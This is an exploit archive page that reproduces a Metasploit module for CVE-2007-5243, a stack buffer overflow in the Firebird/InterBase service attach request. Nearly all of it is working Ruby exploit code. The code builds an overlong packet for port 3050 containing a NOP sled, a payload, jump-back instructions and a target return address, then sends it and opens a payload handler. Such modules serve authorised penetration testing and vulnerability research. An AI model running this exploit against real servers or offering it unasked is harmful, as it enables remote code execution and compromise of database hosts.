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Firebird Relational Database SVC_attach() Buffer Overflow

Firebird Relational Database SVC_attach() Buffer Overflow
Posted Nov 26, 2009
Authored by Ramon de C Valle, Adriano Lima | Site metasploit.com

This Metasploit module exploits a stack overflow in Borland InterBase by sending a specially crafted service attach request.

tags | exploit, overflow
advisories | CVE-2007-5243
MD5 | 1ea324be8ea8e7ff7f474978dc9d54e0

Firebird Relational Database SVC_attach() Buffer Overflow

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::BruteTargets

def initialize(info = {})
super(update_info(info,
'Name' => 'Firebird Relational Database SVC_attach() Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Borland InterBase
by sending a specially crafted service attach request.
},
'Version' => '$Revision$',
'Author' =>
[
'ramon',
'Adriano Lima <adriano@risesecurity.org>',
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'References' =>
[
[ 'CVE', '2007-5243' ],
[ 'OSVDB', '38605' ],
[ 'BID', '25917' ],
[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
],
'Privileged' => true,
'License' => MSF_LICENSE,
'Payload' =>
{
'Space' => 256,
'BadChars' => "\x00\x2f\x3a\x40\x5c",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[ 'Brute Force', { } ],
# 0x0040230b pop ebp; pop ebx; ret
[
'Firebird WI-V1.5.3.4870 WI-V1.5.4.4910',
{ 'Length' => [ 308 ], 'Ret' => 0x0040230b }
],
# Debug
[
'Debug',
{ 'Length' => [ 308 ], 'Ret' => 0xaabbccdd }
],
],
'DefaultTarget' => 1
))

register_options(
[
Opt::RPORT(3050)
],
self.class
)

end

def exploit_target(target)

target['Length'].each do |length|

connect

# Attach database
op_attach = 19

# Create database
op_create = 20

# Service attach
op_service_attach = 82

remainder = length.remainder(4)
padding = 0

if remainder > 0
padding = (4 - remainder)
end

buf = ''

# Operation/packet type
buf << [op_service_attach].pack('N')

# Id
buf << [0].pack('N')

# Length
buf << [length].pack('N')

# Nop block
buf << make_nops(length - payload.encoded.length - 13)

# Payload
buf << payload.encoded

# Jump back into the nop block
buf << "\xe9" + [-260].pack('V')

# Jump back
buf << "\xeb" + [-7].pack('c')

# Random alpha data
buf << rand_text_alpha(2)

# Target
buf << [target.ret].pack('V')

# Padding
buf << "\x00" * padding

# Database parameter block

# Length
buf << [1024].pack('N')

# Random alpha data
buf << rand_text_alpha(1024)

sock.put(buf)

#sleep(4)

handler

end

end

end

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